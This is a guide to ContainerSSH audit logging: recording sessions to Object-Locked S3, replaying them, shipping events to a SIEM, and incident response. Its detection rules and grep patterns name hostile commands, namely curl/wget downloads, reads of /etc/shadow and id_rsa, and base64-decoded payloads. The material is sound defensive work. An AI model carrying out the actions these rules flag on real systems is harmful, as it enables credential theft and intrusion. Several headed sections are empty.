ContainerSSH Audit Logging: Session Recording, S3 Export, and SIEM Integration

Problem

Traditional SSH audit logging captures connection metadata: who connected, when, from which IP address. What it does not capture is session content — the commands the user typed, the output returned, or the files they read. When an incident involves SSH access, metadata alone is insufficient. You know the session happened, but you cannot reconstruct what the attacker did inside it.

Conventional session recording solutions (CyberArk Privileged Session Manager, Teleport, BeyondTrust) are purpose-built but heavyweight: they require separate infrastructure, separate access policies, and often a separate agent on every target host. ContainerSSH’s audit subsystem is built into the SSH gateway itself. Every session — every keystroke, every line of output, every PTY resize event — is recorded in a structured binary format and can be exported to S3-compatible storage without additional infrastructure.

The specific gaps this addresses:

• Invisible insider activity. An insider copies the contents of /etc/passwd to the terminal, reads the output, and closes the session. Syslog shows only sshd: session opened for user alice. ContainerSSH’s audit log shows every line of output.
• Stolen credential intrusion. An attacker authenticates successfully with stolen credentials. The authentication succeeds — there is no alert. Without session recording, their subsequent actions inside the container are invisible. The audit log captures every command they ran.
• Compliance requirements for privileged access recording. PCI-DSS Requirement 10.2 and SOC 2 CC6.8 require evidence that privileged access is recorded. ContainerSSH’s session recordings, stored in immutable S3 storage, satisfy this requirement without a separate privileged access management (PAM) deployment.

Target systems: ContainerSSH 0.5+ and 0.6+, S3-compatible storage (AWS S3, MinIO, GCS), any SIEM that accepts JSON over HTTP or via a log shipper.

Threat Model

• Adversary 1 — Credential theft and lateral movement: An attacker obtains SSH credentials via phishing or a leaked secret. They authenticate successfully and use the session to explore the container filesystem, read application secrets, and attempt lateral movement. Without session recording, there is no forensic record of what they accessed.

• Adversary 2 — Insider data exfiltration: A developer with legitimate SSH access cats configuration files containing database passwords, copies them to a local clipboard, and disconnects. The data never leaves the container via a network connection, so DLP tools that inspect network egress see nothing. Session recording captures the full terminal output, including the secret values displayed.

• Adversary 3 — Compliance audit failure: An auditor requests evidence that all privileged SSH sessions to production containers were recorded during the prior quarter. Without a reliable audit log pipeline, the organisation cannot produce this evidence. ContainerSSH’s audit log pipeline, combined with S3 Object Lock, provides tamper-proof evidence of all sessions.

• Adversary 4 — Audit log tampering: An attacker who has compromised the ContainerSSH host deletes or modifies audit log files before they are shipped to S3. Without WORM storage, the audit trail is not trustworthy. S3 Object Lock (governance or compliance mode) prevents deletion or modification for the lock retention period.

• Access level: Adversaries 1 and 2 have valid SSH credentials. Adversary 3 is a legitimate auditor with no session recordings to review. Adversary 4 has host-level access after compromise.

• Objective: Eliminate the visibility gap inside SSH sessions; ensure the audit trail is tamper-proof and available for forensic replay.

Configuration

Step 1: Enable Audit Logging in ContainerSSH

ContainerSSH’s audit configuration lives in the top-level audit section of config.yaml. The minimal configuration enables binary audit logging to a local directory as a fallback, with S3 as the primary export target:

# config.yaml — ContainerSSH 0.5+ audit configuration.
audit:
  enable: true

  # Format: binary (ContainerSSH's native format, smaller) or
  # asciicast (asciinema v2, human-readable, directly replayable).
  # Binary is recommended for production: smaller, faster writes.
  # Convert to asciicast on demand for replay using containerssh-auditlog-tool.
  format: binary

  # Storage: write to S3. Local fallback is configured below.
  storage: s3

  s3:
    region: us-east-1
    bucket: audit-logs-prod
    # Prefix: organise by date for lifecycle rules.
    # {year}/{month}/{day}/{sessionId} — e.g. 2026/05/09/sess-abc123
    prefix: "containerssh/{year}/{month}/{day}/"
    # IAM role via IRSA (EKS) or Workload Identity (GKE).
    # No static credentials: the pod's service account is mapped to the IAM role.
    # Ensure the service account annotation is set on the ContainerSSH pod.

  # Local fallback: write sessions to disk if S3 upload fails.
  # This prevents data loss during transient S3 outages.
  # A background process should ship these to S3 when connectivity returns.
  local:
    path: /var/lib/containerssh/audit

The prefix field uses ContainerSSH’s built-in template variables. Using date-based prefixes is essential for S3 lifecycle rules — you cannot apply lifecycle transitions to per-session keys without a predictable prefix structure.

Step 2: IAM Role for S3 Audit Log Writes

ContainerSSH should write audit logs using a least-privilege IAM role. The role needs write access to the audit bucket but must not be able to delete objects (Object Lock handles retention):

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AuditLogWrite",
      "Effect": "Allow",
      "Action": [
        "s3:PutObject"
      ],
      "Resource": "arn:aws:s3:::audit-logs-prod/containerssh/*"
    },
    {
      "Sid": "AuditLogList",
      "Effect": "Allow",
      "Action": [
        "s3:ListBucket"
      ],
      "Resource": "arn:aws:s3:::audit-logs-prod",
      "Condition": {
        "StringLike": {
          "s3:prefix": ["containerssh/*"]
        }
      }
    }
  ]
}

Note: s3:DeleteObject and s3:PutObjectLegalHold are intentionally excluded. The ContainerSSH process cannot tamper with or delete audit logs it has written.

On EKS, annotate the service account:

# containerssh-serviceaccount.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: containerssh
  namespace: containerssh
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/containerssh-audit-writer

Step 3: S3 Bucket: Object Lock and Lifecycle Rules

Enable S3 Object Lock in compliance mode on the audit bucket. Compliance mode prevents the lock from being shortened or removed even by the root account — this is what satisfies PCI-DSS and SOC 2 evidence requirements:

# Create bucket with Object Lock enabled.
# Object Lock must be enabled at bucket creation — it cannot be added later.
aws s3api create-bucket \
  --bucket audit-logs-prod \
  --region us-east-1 \
  --object-lock-enabled-for-bucket

# Set default retention: compliance mode, 365 days.
aws s3api put-object-lock-configuration \
  --bucket audit-logs-prod \
  --object-lock-configuration '{
    "ObjectLockEnabled": "Enabled",
    "Rule": {
      "DefaultRetention": {
        "Mode": "COMPLIANCE",
        "Days": 365
      }
    }
  }'

Apply lifecycle rules to transition older objects to cheaper storage tiers:

{
  "Rules": [
    {
      "ID": "audit-log-hot-tier",
      "Status": "Enabled",
      "Filter": {"Prefix": "containerssh/"},
      "Transitions": [
        {
          "Days": 90,
          "StorageClass": "STANDARD_IA"
        },
        {
          "Days": 365,
          "StorageClass": "GLACIER"
        }
      ]
    }
  ]
}

This keeps the last 90 days in S3 Standard (fast access for recent incident response), transitions to Standard-IA at 90 days (cheaper; you’re less likely to need a session from three months ago), and moves to Glacier at one year (compliance archive only).

Step 4: Audit Log Event Structure

ContainerSSH’s binary audit log contains a sequence of typed events for each session. Understanding the event structure is essential for SIEM integration and detection rule writing:

The stdin stream, when decoded, contains the raw keystrokes including control characters. For forensic analysis, exec events (non-interactive ssh host command) are the clearest signal — the command is recorded verbatim without needing to parse terminal escape sequences.

Step 5: Replaying a Session

ContainerSSH ships containerssh-auditlog-tool for working with binary audit logs. To replay a session given a session ID:

# Step 1: Download the audit log from S3.
# The session ID is the filename under the date-based prefix.
aws s3 cp \
  s3://audit-logs-prod/containerssh/2026/05/09/sess-abc1234567890 \
  /tmp/sess-abc1234567890.bin

# Step 2: Convert binary audit log to asciicast v2 format.
containerssh-auditlog-tool \
  --input /tmp/sess-abc1234567890.bin \
  --output /tmp/sess-abc1234567890.cast \
  --format asciicast

# Step 3: Replay the session in the terminal.
# Adjust speed with --speed: 1.0 is real-time, 2.0 is 2x speed.
asciinema play --speed 1.0 /tmp/sess-abc1234567890.cast

# Alternatively: extract stdin/stdout as plain text for diff or grep.
containerssh-auditlog-tool \
  --input /tmp/sess-abc1234567890.bin \
  --output /tmp/sess-abc1234567890.txt \
  --format text

The text output is useful for automated analysis: grep for commands, search for filenames, or pipe into a detection script without needing to parse terminal escape sequences.

Step 6: Shipping Audit Events to a SIEM

ContainerSSH emits audit events over a webhook in addition to writing session recordings to storage. Configure the webhook target to ship structured JSON events to your SIEM pipeline in real time:

# config.yaml — webhook audit event shipping.
audit:
  enable: true
  format: binary
  storage: s3
  # ... S3 config above ...

  # Webhook: emit JSON audit events to a log shipper in real time.
  # This is separate from the session recording; events are emitted
  # as they happen rather than after session close.
  intercept:
    stdin: true     # Record user input (keystrokes).
    stdout: true    # Record terminal output.
    stderr: true    # Record stderr from container.
    passwords: false  # Never record password field values.

Configure Vector as the log shipper to receive webhook events and forward to Elasticsearch or Splunk:

# vector.yaml — ContainerSSH audit event pipeline.
sources:
  containerssh_audit:
    type: http_server
    address: "0.0.0.0:8080"
    encoding:
      codec: json

transforms:
  enrich_audit:
    type: remap
    inputs: ["containerssh_audit"]
    source: |
      # Normalise event: ensure sessionId and username always present.
      .sessionId = string!(.sessionId)
      .username = string(.username) ?? "unknown"
      .remoteAddr = string!(.remoteAddr)
      .eventType = string!(.type)
      .timestamp = now()
      # Decode stdin data from base64 for SIEM indexing.
      if .eventType == "stdin" {
        .stdinDecoded = decode_base64!(.data)
      }
      # Decode stdout data — may be large; truncate for SIEM, full data is in S3.
      if .eventType == "stdout" {
        raw = decode_base64!(.data)
        .stdoutPreview = slice!(raw, 0, 2048)
        .stdoutBytes = length(raw)
      }

sinks:
  elasticsearch:
    type: elasticsearch
    inputs: ["enrich_audit"]
    endpoints: ["https://elasticsearch:9200"]
    index: "containerssh-audit-%Y.%m.%d"
    auth:
      strategy: basic
      user: "${ELASTICSEARCH_USER}"
      password: "${ELASTICSEARCH_PASSWORD}"
    tls:
      verify_certificate: true

For Splunk, replace the elasticsearch sink with a splunk_hec_logs sink pointing at your HEC endpoint.

Step 7: SIEM Detection Rules

Write detection rules on the decoded stdinDecoded field to catch high-risk commands in real time. The following examples use Elasticsearch Query DSL for use with Kibana alerting or Elastic SIEM:

Privilege escalation attempt (sudo):

{
  "query": {
    "bool": {
      "must": [
        {"term": {"eventType": "stdin"}},
        {"match_phrase": {"stdinDecoded": "sudo"}}
      ]
    }
  }
}

External download attempt (curl or wget):

{
  "query": {
    "bool": {
      "must": [
        {"term": {"eventType": "stdin"}},
        {"bool": {
          "should": [
            {"match_phrase": {"stdinDecoded": "curl "}},
            {"match_phrase": {"stdinDecoded": "wget "}}
          ]
        }}
      ]
    }
  }
}

Credential file access:

{
  "query": {
    "bool": {
      "must": [
        {"term": {"eventType": "stdin"}},
        {"bool": {
          "should": [
            {"match_phrase": {"stdinDecoded": "/etc/passwd"}},
            {"match_phrase": {"stdinDecoded": "/etc/shadow"}},
            {"match_phrase": {"stdinDecoded": "/.ssh/"}},
            {"match_phrase": {"stdinDecoded": "id_rsa"}}
          ]
        }}
      ]
    }
  }
}

Large stdout volume (data exfiltration indicator):

{
  "query": {
    "bool": {
      "must": [
        {"term": {"eventType": "stdout"}},
        {"range": {"stdoutBytes": {"gte": 1048576}}}
      ]
    }
  }
}

Base64 decode (obfuscated payload execution):

{
  "query": {
    "bool": {
      "must": [
        {"term": {"eventType": "stdin"}},
        {"match_phrase": {"stdinDecoded": "base64 -d"}}
      ]
    }
  }
}

For each rule, configure the alert to include the sessionId field in the notification. This links the SIEM alert directly to the full session recording in S3, enabling one-click pivot from alert to forensic replay.

Step 8: Incident Response Workflow

When a SIEM alert fires on a ContainerSSH session event, the incident response workflow is:

1. Retrieve the session ID from the alert payload: sessionId: sess-abc1234567890.
2. Determine the session date from the alert timestamp: 2026-05-09.
3. Download the audit log from S3:

   aws s3 cp \
     s3://audit-logs-prod/containerssh/2026/05/09/sess-abc1234567890 \
     /tmp/sess-abc1234567890.bin
   

4. Convert and replay:

   containerssh-auditlog-tool \
     --input /tmp/sess-abc1234567890.bin \
     --output /tmp/sess-abc1234567890.cast \
     --format asciicast
   asciinema play --speed 2.0 /tmp/sess-abc1234567890.cast
   

5. Extract text for automated analysis — grep for filenames accessed, commands run, or data patterns:

   containerssh-auditlog-tool \
     --input /tmp/sess-abc1234567890.bin \
     --output - \
     --format text | grep -E '(passwd|shadow|id_rsa|\.env|SECRET)'
   

6. Verify integrity. Check that the S3 object’s ETag matches the recorded hash (if ContainerSSH emits one at session close) and that the object’s Object Lock hold is intact:

   aws s3api head-object \
     --bucket audit-logs-prod \
     --key containerssh/2026/05/09/sess-abc1234567890 \
     --query '[ObjectLockMode, ObjectLockRetainUntilDate]'
   

Step 9: Telemetry

containerssh_audit_sessions_total{username, backend}          counter
containerssh_audit_upload_failures_total{reason}              counter
containerssh_audit_session_duration_seconds{username}         histogram
containerssh_audit_stdout_bytes_total{sessionId}              counter
containerssh_audit_local_fallback_queue_depth                 gauge

Alert on:

• containerssh_audit_upload_failures_total non-zero — S3 uploads are failing; session recordings may be lost if the local fallback fills up.
• containerssh_audit_local_fallback_queue_depth above threshold — local disk is accumulating unshipped audit logs; S3 connectivity issue or IAM permission problem.
• Large containerssh_audit_stdout_bytes_total for a single session — potential data exfiltration via terminal output; correlate with SIEM alert.

Expected Behaviour

Trade-offs

Failure Modes

Related Articles

• ContainerSSH as a Bastion Replacement
• ContainerSSH Kubernetes Backend
• ContainerSSH Webhook Auth Hardening
• Building a Security Audit Log Pipeline
• Cross-Cutting Audit Logging Architecture